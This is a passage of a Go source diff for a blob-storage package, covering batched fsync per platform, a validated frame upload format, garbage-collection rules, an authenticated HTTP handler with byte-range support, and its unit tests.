from the moment its request +// arrives, and a Has that meets one waits for it, or fails, but never says no. +// +// flight counts the puts of one scope that have arrived and not yet finished. +type flight struct { + mu sync.Mutex + n int + changed chan struct{} // closed, and replaced, each time n changes +} + +func newFlight() *flight { return &flight{changed: make(chan struct{})} } + +// enter records one put and answers the function that records its end. +func (f *flight) enter() (leave func()) { + f.move(1) + var once sync.Once + return func() { once.Do(func() { f.move(-1) }) } +} + +func (f *flight) move(delta int) { + f.mu.Lock() + defer f.mu.Unlock() + f.n += delta + close(f.changed) + f.changed = make(chan struct{}) +} + +// busy answers a channel that closes on the next change, or nil when idle. +func (f *flight) busy() <-chan struct{} { + f.mu.Lock() + defer f.mu.Unlock() + if f.n == 0 { + return nil + } + return f.changed +} + +// waitIdle returns once every flight is idle at the same moment, or with the +// context's error. The bound comes from the caller so a put that never ends +// cannot hold a Has forever. +func waitIdle(ctx context.Context, flights ...*flight) error { + for { + wait := firstBusy(flights) + if wait == nil { + return nil + } + select { + case <-wait: + case <-ctx.Done(): + return ctx.Err() + } + } +} + +func firstBusy(flights []*flight) <-chan struct{} { + for _, f := range flights { + if ch := f.busy(); ch != nil { + return ch + } + } + return nil +} diff --git a/internal/blobstore/flush_darwin.go b/internal/blobstore/flush_darwin.go new file mode 100644 index 0000000000..ac383ccf8e --- /dev/null +++ b/internal/blobstore/flush_darwin.go @@ -0,0 +1,40 @@ +//go:build darwin + +package blobstore + +import ( + "errors" + "os" + + "golang.org/x/sys/unix" +) + +// flushFiles makes a batch of written files, or of directories that gained +// names, durable as one group commit, the same one syncfs gives a batch on +// Linux (flush_linux.go): every file's data is written to the device with a +// barrier fsync, ordered after the writes before it, and one final full sync +// flushes the disk's write cache, which is what commits the batch as a whole. +// A relay on a Mac pays a full disk flush per fsync the same way Linux pays a +// journal commit per one, and a large frame's pointers — one file per object — +// were what outlasted the client's deadline: the first publish of a chat was +// the best part of a second behind the call it carried. One file keeps its own +// full sync: the batch of one is the common case, and a barrier alone does not +// flush the write cache. +func flushFiles(files []*os.File) error { + var errs []error + for _, f := range files { + errs = append(errs, fcntl(int(f.Fd()), unix.F_BARRIERFSYNC)) + } + if len(files) > 0 { + errs = append(errs, fcntl(int(files[0].Fd()), unix.F_FULLFSYNC)) + } + return errors.Join(errs...) +} + +// fcntl asks for one of the fsync kinds the plain interface has no name for. +func fcntl(fd, op int) error { + if _, _, errno := unix.Syscall(unix.SYS_FCNTL, uintptr(fd), uintptr(op), 0); errno != 0 { + return errno + } + return nil +} diff --git a/internal/blobstore/flush_linux.go b/internal/blobstore/flush_linux.go new file mode 100644 index 0000000000..36d28b65c8 --- /dev/null +++ b/internal/blobstore/flush_linux.go @@ -0,0 +1,22 @@ +package blobstore + +import ( + "os" + + "golang.org/x/sys/unix" +) + +// flushFiles makes a batch of written files, or of directories that gained +// names, durable. One file gets its own fsync. Several share one syncfs of +// their filesystem, because on a journalling disk each fsync waits for a full +// journal commit, and thousands of them in a row are what made a large frame +// outlast every client deadline. Group commit pays that wait once per batch. +func flushFiles(files []*os.File) error { + if len(files) == 1 { + return files[0].Sync() + } + if len(files) == 0 { + return nil + } + return unix.Syncfs(int(files[0].Fd())) +} diff --git a/internal/blobstore/flush_other.go b/internal/blobstore/flush_other.go new file mode 100644 index 0000000000..5969e42742 --- /dev/null +++ b/internal/blobstore/flush_other.go @@ -0,0 +1,19 @@ +//go:build !linux && !darwin && !windows + +package blobstore + +import ( + "errors" + "os" +) + +// flushFiles makes a batch of written files, or of directories that gained +// names, durable, with one fsync each. Only Linux offers a call that commits a +// whole batch at once, and this platform is not what a relay runs on. +func flushFiles(files []*os.File) error { + var errs []error + for _, f := range files { + errs = append(errs, f.Sync()) + } + return errors.Join(errs...) +} diff --git a/internal/blobstore/flush_windows.go b/internal/blobstore/flush_windows.go new file mode 100644 index 0000000000..f51fe05d5f --- /dev/null +++ b/internal/blobstore/flush_windows.go @@ -0,0 +1,24 @@ +package blobstore + +import ( + "errors" + "os" +) + +// flushFiles uses FlushFileBuffers through File.Sync for ordinary files (K3). +// Windows does not expose directory fsync through Go; directory flushes are a +// deliberate no-op, matching the native engine's durability seam. +func flushFiles(files []*os.File) error { + var errs []error + for _, f := range files { + info, err := f.Stat() + if err != nil { + errs = append(errs, err) + continue + } + if !info.IsDir() { + errs = append(errs, f.Sync()) + } + } + return errors.Join(errs...) +} diff --git a/internal/blobstore/frame.go b/internal/blobstore/frame.go new file mode 100644 index 0000000000..086f705b2f --- /dev/null +++ b/internal/blobstore/frame.go @@ -0,0 +1,207 @@ +package blobstore + +import ( + "bytes" + "crypto/sha256" + "encoding/binary" + "encoding/hex" + "encoding/json" + "fmt" +) + +// A frame is the unit of upload: many sealed objects behind one header, so one +// request carries what would otherwise be many. +// +// frame = magic || u32le(header_len) || header || payload +// header = JSON Header +// payload = the objects' bytes, concatenated in header order +var frameMagic = []byte("AGEF\x01") + +// headerVersion is the only header version this package reads or writes. +const headerVersion = 1 + +// cellKeyIDLen is the length of a cell key id in hex characters (SCHEMAS). +const cellKeyIDLen = 32 + +// prefixLen is the fixed part in front of the header: the magic and its length. +var prefixLen = len(frameMagic) + 4 + +// Header is the JSON index at the front of a frame. +type Header struct { + V uint16 `json:"V"` + CellKeyID string `json:"cell_key_id"` + Objects []ObjectRef `json:"objects"` +} + +// ObjectRef locates one object inside the payload. +type ObjectRef struct { + RID string `json:"rid"` + Off uint64 `json:"off"` + Len uint32 `json:"len"` +} + +// Object is one sealed object and the remote id it is stored under. +type Object struct { + RID string + Bytes []byte +} + +// IDOf is the identity of a frame: the hex SHA-256 of all of its bytes. The +// store computes it, so a writer never has to. +func IDOf(frame []byte) FrameID { + sum := sha256.Sum256(frame) + return hex.EncodeToString(sum[:]) +} + +// Encode packs objects into one frame. It runs the result through Decode, so +// this package can never write a frame that it would refuse to read. +func Encode(cellKeyID string, objects []Object) ([]byte, error) { + refs, err := refsOf(objects) + if err != nil { + return nil, err + } + raw, err := json.Marshal(Header{V: headerVersion, CellKeyID: cellKeyID, Objects: refs}) + if err != nil { + return nil, fmt.Errorf("blobstore: encode header: %w", err) + } + frame := join(raw, objects) + if _, _, err := Decode(frame); err != nil { + return nil, err + } + return frame, nil +} + +// refsOf lays the objects out back to back, which is the only layout Decode accepts. +func refsOf(objects []Object) ([]ObjectRef, error) { + refs := make([]ObjectRef, len(objects)) + var off uint64 + for i, o := range objects { + if len(o.Bytes) > MaxFrame { + return nil, bad("object is larger than a frame") + } + refs[i] = ObjectRef{RID: o.RID, Off: off, Len: uint32(len(o.Bytes))} + off += uint64(len(o.Bytes)) + } + return refs, nil +} + +// join writes the frame around an already encoded header. +func join(header []byte, objects []Object) []byte { + var out bytes.Buffer + out.Write(frameMagic) + out.Write(binary.LittleEndian.AppendUint32(nil, uint32(len(header)))) + out.Write(header) + for _, o := range objects { + out.Write(o.Bytes) + } + return out.Bytes() +} + +// Decode validates a frame and returns its header and objects. The objects +// alias the frame bytes, so the caller must not change the frame while it +// still uses them. Every rule a frame can break is one check below, and any +// break is ErrBadFrame: a store that accepted a half-valid frame could not +// promise that everything it holds is sealed (L6) and addressable (L5). +func Decode(frame []byte) (Header, []Object, error) { + if len(frame) > MaxFrame { + return Header{}, nil, bad("frame is larger than the limit") + } + raw, payload, err := split(frame) + if err != nil { + return Header{}, nil, err + } + h, err := parseHeader(raw) + if err != nil { + return Header{}, nil, err + } + objects, err := carve(h.Objects, payload) + if err != nil { + return Header{}, nil, err + } + return h, objects, nil +} + +// split cuts a frame into its header bytes and its payload after checking the +// magic and that the declared header length fits the limit and the frame. +func split(frame []byte) (header, payload []byte, err error) { + if len(frame) < prefixLen || !bytes.HasPrefix(frame, frameMagic) { + return nil, nil, bad("wrong magic") + } + n := binary.LittleEndian.Uint32(frame[len(frameMagic):prefixLen]) + if n > MaxHeader { + return nil, nil, bad("header is larger than the limit") + } + if uint64(prefixLen)+uint64(n) > uint64(len(frame)) { + return nil, nil, bad("header runs past the frame") + } + end := prefixLen + int(n) + return frame[prefixLen:end], frame[end:], nil +} + +// parseHeader reads the header JSON and checks its version, its cell key id and +// that it names at least one object; an empty frame would be a request that does nothing. +func parseHeader(raw []byte) (Header, error) { + var h Header + if err := json.Unmarshal(raw, &h); err != nil { + return Header{}, bad("header is not valid JSON") + } + if h.V != headerVersion { + return Header{}, bad("unknown header version") + } + if !isLowerHex(h.CellKeyID, cellKeyIDLen) { + return Header{}, bad("cell key id is not 32 lowercase hex") + } + if len(h.Objects) == 0 { + return Header{}, bad("frame holds no object") + } + return h, nil +} + +// carve cuts the payload into the objects the header names. Objects must start +// at zero and follow each other with no gap and no overlap, and must cover the +// payload exactly, so no byte of a frame is unaccounted for. +func carve(refs []ObjectRef, payload []byte) ([]Object, error) { + objects := make([]Object, 0, len(refs)) + seen := make(map[string]bool, len(refs)) + var next uint64 + for _, ref := range refs { + if err := checkRef(ref, next, seen); err != nil { + return nil, err + } + end := next + uint64(ref.Len) + if end > uint64(len(payload)) { + return nil, bad("object runs past the payload") + } + // The capacity is cut to the length so an append by a caller cannot + // overwrite the next object in the frame. + body := payload[next:end:end] + if !hasObjectMagic(body) { + return nil, bad("object is not sealed") + } + seen[ref.RID] = true + objects = append(objects, Object{RID: ref.RID, Bytes: body}) + next = end + } + if next != uint64(len(payload)) { + return nil, bad("payload holds bytes no object names") + } + return objects, nil +} + +// checkRef checks what a reference can say without looking at the payload. +func checkRef(ref ObjectRef, want uint64, seen map[string]bool) error { + switch { + case !ValidRID(ref.RID): + return bad("object id is not 64 lowercase hex") + case seen[ref.RID]: + return bad("object id appears twice") + case ref.Off != want: + return bad("objects are not contiguous") + } + return nil +} + +// bad is the one way this package says a frame is unacceptable. +func bad(why string) error { + return fmt.Errorf("%w: %s", ErrBadFrame, why) +} diff --git a/internal/blobstore/frame_test.go b/internal/blobstore/frame_test.go new file mode 100644 index 0000000000..dac65421ac --- /dev/null +++ b/internal/blobstore/frame_test.go @@ -0,0 +1,98 @@ +package blobstore_test + +import ( + "crypto/sha256" + "encoding/hex" + "errors" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" +) + +const testKey = "00000000000000000000000000000000" + +func obj(name, body string) blobstore.Object { + sum := sha256.Sum256([]byte(name)) + return blobstore.Object{RID: hex.EncodeToString(sum[:]), Bytes: []byte("AGEO\x01" + body)} +} + +func TestEncodeDecodeRoundTrip(t *testing.T) { + in := []blobstore.Object{obj("a", "one"), obj("b", ""), obj("c", "three")} + frame, err := blobstore.Encode(testKey, in) + if err != nil { + t.Fatal(err) + } + h, out, err := blobstore.Decode(frame) + if err != nil { + t.Fatal(err) + } + if h.V != 1 || h.CellKeyID != testKey || len(h.Objects) != 3 { + t.Fatalf("header = %+v", h) + } + for i := range in { + if out[i].RID != in[i].RID || string(out[i].Bytes) != string(in[i].Bytes) { + t.Fatalf("object %d = %q, want %q", i, out[i].Bytes, in[i].Bytes) + } + } +} + +func TestDecodeAppendCannotReachNextObject(t *testing.T) { + frame, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "one"), obj("b", "two")}) + _, out, err := blobstore.Decode(frame) + if err != nil { + t.Fatal(err) + } + _ = append(out[0].Bytes, "XXXX"...) + if string(out[1].Bytes) != "AGEO\x01two" { + t.Fatalf("append through the first object changed the second: %q", out[1].Bytes) + } +} + +func TestEncodeRefusesWhatDecodeRefuses(t *testing.T) { + cases := map[string][]blobstore.Object{ + "no objects": nil, + "plaintext": {{RID: obj("a", "").RID, Bytes: []byte("hello")}}, + "bad rid": {{RID: "nope", Bytes: []byte("AGEO\x01x")}}, + "duplicate": {obj("a", "x"), obj("a", "x")}, + } + for name, objects := range cases { + if _, err := blobstore.Encode(testKey, objects); !errors.Is(err, blobstore.ErrBadFrame) { + t.Errorf("%s: Encode = %v, want ErrBadFrame", name, err) + } + } +} + +func TestIDOfIsSHA256OfTheFrame(t *testing.T) { + frame, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "x")}) + sum := sha256.Sum256(frame) + if got := blobstore.IDOf(frame); got != hex.EncodeToString(sum[:]) { + t.Fatalf("IDOf = %s", got) + } +} + +func TestValidRID(t *testing.T) { + good := strings.Repeat("0123456789abcdef", 4) + cases := map[string]bool{ + good: true, + good[:63]: false, + good + "0": false, + strings.ToUpper(good): false, + strings.Repeat("g", 64): false, + "": false, + strings.Repeat("a", 63) + "/": false, + } + for s, want := range cases { + if got := blobstore.ValidRID(s); got != want { + t.Errorf("ValidRID(%q) = %v, want %v", s, got, want) + } + } +} + +func TestEncodeRefusesABadCellKeyID(t *testing.T) { + for _, id := range []string{"", "abc", strings.Repeat("A", 32), testKey + "0"} { + if _, err := blobstore.Encode(id, []blobstore.Object{obj("a", "x")}); !errors.Is(err, blobstore.ErrBadFrame) { + t.Errorf("Encode with cell key id %q = %v, want ErrBadFrame", id, err) + } + } +} diff --git a/internal/blobstore/gc.go b/internal/blobstore/gc.go new file mode 100644 index 0000000000..5c1c9ef08e --- /dev/null +++ b/internal/blobstore/gc.go @@ -0,0 +1,66 @@ +package blobstore + +import "time" + +// The garbage-collection rules for append-only frames (contract §22.9). Frames +// are never deleted today; this file is the design as executable rules, so the +// Worker and the Go relay sweep to the same answer when the sweeps land. What +// the sweeps still need is the multi-location index: `objs` keeps one row per +// rid (first location wins), so deleting a frame could strand an object +// another frame also holds. Until that index exists these rules are only +// tested, never run. +// +// The rules, in one paragraph: a frame is live while any cell record's plan +// names it, or it is younger than a grace window (a publish in flight has +// uploaded frames no record names yet), or it is the vault frame the identity +// record names. A sweep tombstones a collectible frame first and deletes its +// bytes only after a second, longer window, so a take that read a plan just +// before the sweep still finishes: its frame get is answered or 404s into the +// want loop, and both are correct. Rotation (contract §20) is unaffected: the +// retire sweep deletes the whole namespace, and no sweep runs while a rotation +// is frozen or retiring. + +// LiveFrames marks the frames a sweep must keep, by the rule above. `frames` +// is every frame the relay holds with its put time; `plans` is the frames +// field of every live cell record; `vault` is the identity's vault frame, "" +// when there is none; `cutoff` is now minus the grace window. +func LiveFrames(frames map[FrameID]time.Time, plans [][]string, vault FrameID, cutoff time.Time) map[FrameID]bool { + live := make(map[FrameID]bool, len(frames)) + for _, plan := range plans { + for _, id := range plan { + live[FrameID(id)] = true + } + } + if vault != "" { + live[vault] = true + } + for id, put := range frames { + if put.After(cutoff) { + live[id] = true + } + } + return live +} + +// Locations is the multi-location index a sweep requires: every frame that +// holds an object, not only the first one written. +type Locations map[string][]Location + +// DropFrame retires one frame from the index: an object it held keeps the +// locations its other frames give it, and an object no other frame holds is +// gone. Gets and locates read any row that is left, so the object stays +// answerable while one live frame carries it. +func DropFrame(locs Locations, frame FrameID) Locations { + out := make(Locations, len(locs)) + for rid, at := range locs { + for _, l := range at { + if l.Frame != frame { + out[rid] = append(out[rid], l) + } + } + if len(out[rid]) == 0 { + delete(out, rid) + } + } + return out +} diff --git a/internal/blobstore/gc_test.go b/internal/blobstore/gc_test.go new file mode 100644 index 0000000000..4ca0d985db --- /dev/null +++ b/internal/blobstore/gc_test.go @@ -0,0 +1,54 @@ +package blobstore + +import ( + "testing" + "time" +) + +// The mark rule (contract §22.9): plans, the vault frame and young frames are +// live; an old frame nothing names is collectible. +func TestLiveFramesMarksPlansVaultAndYoung(t *testing.T) { + now := time.Now() + old := now.Add(-72 * time.Hour) + frames := map[FrameID]time.Time{ + "planned": old, + "vaulted": old, + "fresh": now.Add(-time.Minute), + "abandoned": old, + } + plans := [][]string{{"planned", "also-planned"}} + live := LiveFrames(frames, plans, "vaulted", now.Add(-24*time.Hour)) + for _, id := range []FrameID{"planned", "also-planned", "vaulted", "fresh"} { + if !live[id] { + t.Errorf("%s must be live", id) + } + } + if live["abandoned"] { + t.Error("an old frame no plan names must be collectible") + } +} + +// The re-point rule: an object in two frames stays answerable after the first +// frame is tombstoned; an object only in the tombstoned frame is gone. +func TestDropFrameKeepsObjectsAnotherFrameHolds(t *testing.T) { + locs := Locations{ + "shared": {{Frame: "first", Off: 0, Len: 10}, {Frame: "second", Off: 4, Len: 10}}, + "only": {{Frame: "first", Off: 10, Len: 5}}, + } + locs = DropFrame(locs, "first") + if got := locs["shared"]; len(got) != 1 || got[0].Frame != "second" { + t.Errorf("shared object must keep its second location, got %v", got) + } + if _, ok := locs["only"]; ok { + t.Error("an object no other frame holds must be gone") + } +} + +// Dropping a frame never invents locations and never touches other frames. +func TestDropFrameIsExact(t *testing.T) { + locs := Locations{"a": {{Frame: "keep", Off: 0, Len: 1}}} + locs = DropFrame(locs, "absent") + if got := locs["a"]; len(got) != 1 || got[0].Frame != "keep" { + t.Errorf("dropping an absent frame changed the index: %v", got) + } +} diff --git a/internal/blobstore/getmany.go b/internal/blobstore/getmany.go new file mode 100644 index 0000000000..e3542f26d0 --- /dev/null +++ b/internal/blobstore/getmany.go @@ -0,0 +1,36 @@ +package blobstore + +import "errors" + +// gatherPrefix is GetMany for any store that can answer one object at a time: +// it reads rids in order until a frame's worth of bytes is in hand, and stops +// short at an absent object once it has one. Every implementation answers the +// same prefix this way, so the wire and the fake cannot disagree about it. +func gatherPrefix(rids []string, get func(rid string) ([]byte, error)) ([]Object, error) { + var out []Object + size := 0 + for _, rid := range rids { + if size >= TargetFrame { + break + } + b, err := get(rid) + if errors.Is(err, ErrNotFound) && len(out) > 0 { + break + } + if err != nil { + return nil, err + } + out = append(out, Object{RID: rid, Bytes: b}) + size += len(b) + } + return out, nil +} + +// sizeOf is the bytes the objects hold, which is what a Get of each would count. +func sizeOf(objects []Object) int64 { + var n int64 + for _, o := range objects { + n += int64(len(o.Bytes)) + } + return n +} diff --git a/internal/blobstore/global_limits_test.go b/internal/blobstore/global_limits_test.go new file mode 100644 index 0000000000..af8171d2c7 --- /dev/null +++ b/internal/blobstore/global_limits_test.go @@ -0,0 +1,43 @@ +package blobstore_test + +import ( + "context" + "errors" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// TestHostedGlobalBrakesReachTheStoreClient proves C20: operator refusals +// reach the client's existing storage and retry handling without losing time. +func TestHostedGlobalBrakesReachTheStoreClient(t *testing.T) { + for _, tc := range []struct { + code string + status int + want error + wait time.Duration + }{ + {"relay_storage_full", 507, blobstore.ErrFull, 0}, + {"relay_admission_full", 429, wireauth.ErrRateLimited, 42 * time.Second}, + } { + t.Run(tc.code, func(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + if tc.wait > 0 { + w.Header().Set("Retry-After", "42") + } + w.WriteHeader(tc.status) + _, _ = w.Write([]byte(`{"err":"` + tc.code + `"}`)) + })) + defer srv.Close() + client := blobstore.NewHTTP(srv.URL, fakeSign("alice"), srv.Client()) + _, err := client.Has(context.Background(), nil) + if !errors.Is(err, tc.want) || wireauth.After(err) != tc.wait { + t.Fatalf("Has = %v after %v", err, wireauth.After(err)) + } + }) + } +} diff --git a/internal/blobstore/handler.go b/internal/blobstore/handler.go new file mode 100644 index 0000000000..054b31df07 --- /dev/null +++ b/internal/blobstore/handler.go @@ -0,0 +1,380 @@ +package blobstore + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// Handler serves the store wire (contract §3) over one Store per identity: +// open is asked once for each identity that authenticates, and that identity +// only ever reaches the Store open gave it. It logs nothing, so no body, and +// no id inside one, can leak through it. +func Handler(auth wireauth.Authenticate, open func(identity string) (Store, error)) http.Handler { + return HandlerAt(time.Now, auth, open) +} + +// HandlerAt is Handler with an injected clock for the Codeaf-Now header. +func HandlerAt(now func() time.Time, auth wireauth.Authenticate, open func(identity string) (Store, error)) http.Handler { + h := &handler{now: now, auth: auth, open: open, tenants: map[string]*tenant{}, arriving: newFlight()} + mux := http.NewServeMux() + mux.Handle("POST "+pathFrames, h.route(MaxFrame, (*tenant).putFrame, true)) + mux.Handle("GET "+pathObjects+"{rid}", h.route(maxSmallBody, (*tenant).getObject, false)) + mux.Handle("POST "+pathMany, h.route(maxSmallBody, (*tenant).getMany, false)) + mux.Handle("POST "+pathHas, h.route(maxSmallBody, (*tenant).has, false)) + mux.Handle("GET "+pathFrames+"/{frame}", h.route(maxSmallBody, (*tenant).getFrame, false)) + mux.Handle("POST "+pathLocate, h.route(maxSmallBody, (*tenant).locate, false)) + mux.Handle("GET "+pathStats, h.route(maxSmallBody, (*tenant).statsReply, false)) + return h.stamped(mux) +} + +type handler struct { + now func() time.Time + auth wireauth.Authenticate + open func(identity string) (Store, error) + + mu sync.Mutex + tenants map[string]*tenant + + // arriving counts puts whose identity is not known yet: the signature + // covers the body, so a put cannot be attributed until it has been read. + arriving *flight +} + +// tenant is one identity's namespace: its store and the server's own count of +// what that identity asked of it. The count is taken at the store boundary, +// so it equals what a Memory store logs for the same requests. +type tenant struct { + store Store + inflight *flight // puts of this identity being received or stored + arriving *flight // the handler's puts that belong to no identity yet + puts, gets, hases atomic.Int64 + bytesIn, bytesOut atomic.Int64 +} + +// reply is a success answer: a content type, the bytes, and the status and +// extra header a verb needs beyond the 200 every other one answers. +type reply struct { + ctype string + body []byte + status int // 0 means 200 + header string // one extra header value, for Content-Range +} + +func jsonReply(v any) reply { return reply{ctype: "application/json", body: mustJSON(v)} } + +// serveFunc answers one verb for one tenant. Errors it returns go on the wire +// through the code table. +type serveFunc func(t *tenant, ctx context.Context, r *http.Request, body []byte) (reply, error) + +// stamped puts the server clock on every answer, refusals included, because +// a client that was refused for skew needs the time most of all. +func (h *handler) stamped(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set(nowHeader, strconv.FormatInt(h.now().UnixMilli(), 10)) + next.ServeHTTP(w, r) + }) +} + +// route wraps a verb in the steps every verb shares, in the order that keeps +// an unauthenticated caller cheap: cap the body, read it, prove the sender, +// find the namespace, serve. +// +// A put counts as arriving from its first byte, and becomes its identity's +// in-flight put the moment the identity is known, with no gap between the two, +// so Has can wait for it (see flight). +func (h *handler) route(limit int64, serve serveFunc, isPut bool) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + unattributed := h.arrive(isPut) + defer unattributed() + body, err := readCapped(w, r, limit) + if err != nil { + writeErr(w, err) + return + } + t, err := h.tenantFor(r, body) + if err != nil { + writeErr(w, err) + return + } + if isPut { + defer t.inflight.enter()() + } + unattributed() + out, err := serve(t, r.Context(), r, body) + if err != nil { + writeErr(w, err) + return + } + w.Header().Set("Content-Type", out.ctype) + if out.header != "" { + w.Header().Set("Content-Range", out.header) + } + if out.status != 0 { + w.WriteHeader(out.status) + } + _, _ = w.Write(out.body) + }) +} + +// arrive records a put's arrival, and answers the function that ends it. Any +// other verb has nothing to record. +func (h *handler) arrive(isPut bool) func() { + if !isPut { + return func() {} + } + return h.arriving.enter() +} + +// errTooLarge marks a body over its cap; it is the one refusal with its own status. +var errTooLarge = errors.New("blobstore: body over the limit") + +// readCapped reads the body through http.MaxBytesReader, which stops at the +// cap instead of after the whole body, so an oversized upload costs the +// server at most limit+1 bytes and the connection is closed on it. +func readCapped(w http.ResponseWriter, r *http.Request, limit int64) ([]byte, error) { + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, limit)) + var tooBig *http.MaxBytesError + switch { + case errors.As(err, &tooBig): + return nil, errTooLarge + case err != nil: + return nil, ErrUnreachable // the caller's connection broke mid-body + } + return body, nil +} + +// tenantFor authenticates the request and returns the sender's namespace. +func (h *handler) tenantFor(r *http.Request, body []byte) (*tenant, error) { + id, _, err := h.auth(r, body) + if err != nil { + return nil, refusal(err) + } + h.mu.Lock() + defer h.mu.Unlock() + if t, ok := h.tenants[id]; ok { + return t, nil + } + s, err := h.open(id) + if err != nil { + return nil, err + } + t := &tenant{store: s, inflight: newFlight(), arriving: h.arriving} + h.tenants[id] = t + return t, nil +} + +// refusal narrows every authentication failure to the three the wire names. +func refusal(err error) error { return wireauth.Narrow(err) } + +func (t *tenant) putFrame(ctx context.Context, _ *http.Request, body []byte) (reply, error) { + t.puts.Add(1) + t.bytesIn.Add(int64(len(body))) + id, err := t.store.PutFrame(ctx, body) + if err != nil { + return reply{}, err + } + // The store has accepted the frame, so decoding it again cannot fail; it + // is done here so the object count does not depend on which Store answered. + _, objects, err := Decode(body) + if err != nil { + return reply{}, err + } + return jsonReply(putAnswer{Frame: id, Objects: len(objects)}), nil +} + +func (t *tenant) getObject(ctx context.Context, r *http.Request, _ []byte) (reply, error) { + t.gets.Add(1) + b, err := t.store.Get(ctx, r.PathValue("rid")) + if err != nil { + return reply{}, err + } + t.bytesOut.Add(int64(len(b))) + return reply{ctype: "application/octet-stream", body: b}, nil +} + +// getFrame answers one whole frame, or the single byte range the caller asked +// for. A frame is immutable, so a range needs no revalidation and the only +// well-formed request beyond the whole frame is one bytes=a-b header. +func (t *tenant) getFrame(ctx context.Context, r *http.Request, _ []byte) (reply, error) { + t.gets.Add(1) + b, err := t.store.GetFrame(ctx, r.PathValue("frame")) + if err != nil { + return reply{}, err + } + resp, err := rangedFrame(r.Header.Get("Range"), b) + if err != nil { + return reply{}, err + } + // Stats count the bytes the answer serves, the same number the Worker + // counts: a ranged get is a smaller answer, not a smaller object. + t.bytesOut.Add(int64(len(resp.body))) + return resp, nil +} + +// errRange is a Range header no single answer can serve: malformed, several +// ranges, or a start past the frame's end. The Worker answers the same +// header with range_not_satisfiable, and both relays must agree (§22.3). +var errRange = errors.New("blobstore: range not satisfiable") + +// rangedFrame answers the whole frame at 200, or its single requested range +// at 206 with a Content-Range. An open-ended range serves to the frame's end, +// and an end past the end is clamped to it, the two forms a resumable fetch +// uses; a header that is not exactly one such range is errRange. +func rangedFrame(rng string, frame []byte) (reply, error) { + if rng == "" { + return reply{ctype: "application/octet-stream", body: frame}, nil + } + start, end, ok := parseByteRange(rng, uint64(len(frame))) + if !ok { + return reply{}, errRange + } + return reply{ + ctype: "application/octet-stream", + body: frame[start : end+1], + status: http.StatusPartialContent, + header: fmt.Sprintf("bytes %d-%d/%d", start, end, len(frame)), + }, nil +} + +// parseByteRange reads the one range form a frame fetch may use: "bytes=a-b" +// with a and b digits and a no larger than b, or "bytes=a-" to the frame's +// end. The end may name a byte past the frame and is clamped; anything else — +// several ranges, no prefix, a start past the end of the frame — is not a +// request the verb can serve, and says so with ok = false. +func parseByteRange(header string, size uint64) (start, end uint64, ok bool) { + const form = "bytes=" + if !strings.HasPrefix(header, form) || strings.Contains(header, ",") { + return 0, 0, false + } + spec := strings.TrimPrefix(header, form) + dash := strings.IndexByte(spec, '-') + if dash < 0 { + return 0, 0, false + } + var a, b error + start, a = strconv.ParseUint(spec[:dash], 10, 63) + if spec[dash+1:] == "" { + end = size - 1 // open-ended: to the frame's end + } else { + end, b = strconv.ParseUint(spec[dash+1:], 10, 63) + } + if a != nil || b != nil || start > end || start >= size { + return 0, 0, false + } + if end >= size { + end = size - 1 // clamped: a resumable fetch may guess the frame's end + } + return start, end, true +} + +// locate answers, per rid, where the object lies. It is an index read that +// does not wait for a put in flight, unlike Has: a location exists only after +// the frame it names is durable, so there is nothing to wait for. +func (t *tenant) locate(ctx context.Context, _ *http.Request, body []byte) (reply, error) { + var req locateRequest + if err := json.Unmarshal(body, &req); err != nil { + return reply{}, errBadRequest + } + t.hases.Add(1) + at, err := t.store.Locate(ctx, req.Rids) + if err != nil { + return reply{}, err + } + return jsonReply(locateAnswer{At: at}), nil +} + +// getMany answers a batch of rids with one frame holding the objects the store +// gave, whichever Store is behind it. +func (t *tenant) getMany(ctx context.Context, _ *http.Request, body []byte) (reply, error) { + var req getManyRequest + if err := json.Unmarshal(body, &req); err != nil || len(req.Rids) == 0 { + return reply{}, errBadRequest + } + t.gets.Add(1) + objects, err := t.store.GetMany(ctx, req.Rids) + if err != nil { + return reply{}, err + } + frame, err := Encode(manyKeyID, objects) + if err != nil { + return reply{}, err + } + t.bytesOut.Add(sizeOf(objects)) + return reply{ctype: "application/octet-stream", body: frame}, nil +} + +func (t *tenant) has(ctx context.Context, _ *http.Request, body []byte) (reply, error) { + var req hasRequest + if err := json.Unmarshal(body, &req); err != nil { + return reply{}, errBadRequest + } + t.hases.Add(1) + if err := t.settle(ctx); err != nil { + return reply{}, err + } + have, err := t.store.Has(ctx, req.Rids) + if err != nil { + return reply{}, err + } + return jsonReply(hasAnswer{Have: have}), nil +} + +// settle waits for the puts Has must not overtake, for at most BaseTimeout +// or until the caller gives up, and then reports the relay as unreachable +// rather than answer no: a stuck put must not hang Has, and must not make it lie. +func (t *tenant) settle(ctx context.Context) error { + ctx, cancel := context.WithTimeout(ctx, BaseTimeout) + defer cancel() + if err := waitIdle(ctx, t.inflight, t.arriving); err != nil { + return ErrUnreachable + } + return nil +} + +func (t *tenant) statsReply(context.Context, *http.Request, []byte) (reply, error) { + return jsonReply(statsBody{ + Puts: t.puts.Load(), Gets: t.gets.Load(), Has: t.hases.Load(), + BytesIn: t.bytesIn.Load(), BytesOut: t.bytesOut.Load(), + }), nil +} + +// errBadRequest is a body the wire could not parse; it has no §2.1 name. +var errBadRequest = errors.New("blobstore: malformed request") + +// writeErr answers a failure. The three refusals the handler makes itself get +// their statuses here; every store error goes through the code table, and an +// error the table does not know is the server's fault, not the caller's. +func writeErr(w http.ResponseWriter, err error) { + switch { + case errors.Is(err, errTooLarge): + send(w, http.StatusRequestEntityTooLarge, "bad_frame", 0) + case errors.Is(err, errBadRequest): + send(w, http.StatusBadRequest, "bad_request", 0) + case errors.Is(err, errRange): + send(w, http.StatusRequestedRangeNotSatisfiable, "range_not_satisfiable", 0) + default: + code, status, ok := codeOf(err) + if !ok { + code, status = "internal", 